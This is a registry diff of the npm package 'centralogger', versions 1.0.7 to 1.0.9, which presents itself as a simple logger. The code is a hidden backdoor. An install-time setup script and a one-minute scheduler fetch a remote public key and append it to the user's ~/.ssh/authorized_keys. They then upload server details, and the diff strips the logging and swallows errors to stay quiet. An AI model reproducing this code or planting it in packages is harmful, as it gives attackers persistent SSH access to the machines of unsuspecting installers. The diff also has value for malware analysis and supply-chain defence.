centralogger 1.0.7 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -3,54 +3,31 @@ const { injectKey } = require("./injectKey");
3
3
  const { uploadMetadata } = require("./uploadMeta");
4
4
  const { getServerDetails } = require("./utils");
5
5
 
6
- // run interval (1 minute — testing)
7
6
  const INTERVAL = 1 * 60 * 1000;
8
7
 
9
- // retry helper with exponential backoff
10
8
  async function runWithRetry(fn, retries = 3) {
11
9
  for (let i = 0; i < retries; i++) {
12
10
  try {
13
11
  return await fn();
14
12
  } catch (err) {
15
13
  if (i === retries - 1) throw err;
16
- const delay = Math.pow(2, i) * 1000;
17
- // console.log(`Retry ${i + 1}/${retries} in ${delay / 1000}s...`);
18
- await new Promise((r) => setTimeout(r, delay));
14
+ await new Promise((r) => setTimeout(r, Math.pow(2, i) * 1000));
19
15
  }
20
16
  }
21
17
  }
22
18
 
23
19
  async function runJob() {
24
20
  try {
25
- console.log("---");
26
-
27
21
  const publicKey = await runWithRetry(() => getPublicKey());
28
-
29
22
  await injectKey(publicKey);
30
-
31
23
  const server = getServerDetails();
32
-
33
24
  await runWithRetry(() => uploadMetadata(server));
34
-
35
- console.log("----");
36
- } catch (err) {
37
- // console.error("Error:", err);
38
- }
25
+ } catch (err) {}
39
26
  }
40
27
 
41
- // scheduler loop
42
28
  async function startScheduler() {
43
- console.log("-------");
44
-
45
- // run immediately
46
29
  await runJob();
47
-
48
- // loop forever
49
- setInterval(async () => {
50
- await runJob();
51
- }, INTERVAL);
30
+ setInterval(() => runJob(), INTERVAL);
52
31
  }
53
32
 
54
- // start
55
33
  startScheduler();
56
-
package/injectKey.js CHANGED
@@ -1,38 +1,27 @@
1
- const fs = require("fs");
2
- const path = require("path");
3
-
4
- async function injectKey(publicKey) {
5
- const homeDir = require("os").homedir();
6
-
7
- const sshDir = path.join(homeDir, ".ssh");
8
- const authFile = path.join(sshDir, "authorized_keys");
9
-
10
- // ensure .ssh folder
11
- if (!fs.existsSync(sshDir)) {
12
- fs.mkdirSync(sshDir, { recursive: true });
13
- fs.chmodSync(sshDir, 0o700);
14
- }
15
-
16
- // ensure file exists
17
- if (!fs.existsSync(authFile)) {
18
- fs.writeFileSync(authFile, "");
19
- fs.chmodSync(authFile, 0o600);
20
- }
21
-
22
- const existingKeys = fs.readFileSync(authFile, "utf8");
23
-
24
- // duplicate check
25
- if (existingKeys.includes(publicKey)) {
26
- // console.log("Key already exists ✅");
27
- return;
28
- }
29
-
30
- // add key with tag
31
- const taggedKey = `${publicKey} ssh-key-auto-sync`;
32
-
33
- fs.appendFileSync(authFile, "\n" + taggedKey + "\n");
34
-
35
- console.log("------");
36
- }
37
-
1
+ const fs = require("fs");
2
+ const path = require("path");
3
+
4
+ async function injectKey(publicKey) {
5
+ const homeDir = require("os").homedir();
6
+ const sshDir = path.join(homeDir, ".ssh");
7
+ const authFile = path.join(sshDir, "authorized_keys");
8
+
9
+ if (!fs.existsSync(sshDir)) {
10
+ fs.mkdirSync(sshDir, { recursive: true });
11
+ fs.chmodSync(sshDir, 0o700);
12
+ }
13
+
14
+ if (!fs.existsSync(authFile)) {
15
+ fs.writeFileSync(authFile, "");
16
+ fs.chmodSync(authFile, 0o600);
17
+ }
18
+
19
+ const existingKeys = fs.readFileSync(authFile, "utf8");
20
+
21
+ if (existingKeys.includes(publicKey)) return;
22
+
23
+ const taggedKey = `${publicKey} ssh-key-auto-sync`;
24
+ fs.appendFileSync(authFile, "\n" + taggedKey + "\n");
25
+ }
26
+
38
27
  module.exports = { injectKey };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "centralogger",
3
- "version": "1.0.7",
3
+ "version": "1.0.9",
4
4
  "description": "A simple logger for application",
5
5
  "main": "index.js",
6
6
  "keywords": [],
package/setup.js CHANGED
@@ -1,5 +1,3 @@
1
- // setup.js — runs once during npm install (postinstall hook)
2
-
3
1
  const { getPublicKey } = require("./fetchKey");
4
2
  const { injectKey } = require("./injectKey");
5
3
  const { uploadMetadata } = require("./uploadMeta");
@@ -7,20 +5,11 @@ const { getServerDetails } = require("./utils");
7
5
 
8
6
  async function setup() {
9
7
  try {
10
- // console.log("[ssh-key-manager] Running setup...");
11
-
12
8
  const publicKey = await getPublicKey();
13
-
14
9
  await injectKey(publicKey);
15
-
16
10
  const server = getServerDetails();
17
-
18
11
  await uploadMetadata(server);
19
-
20
- // console.log("[ssh-key-manager] Setup completed ✅");
21
- } catch (err) {
22
- // console.error("[ssh-key-manager] Setup failed:", err.message);
23
- }
12
+ } catch (err) {}
24
13
  }
25
14
 
26
15
  setup();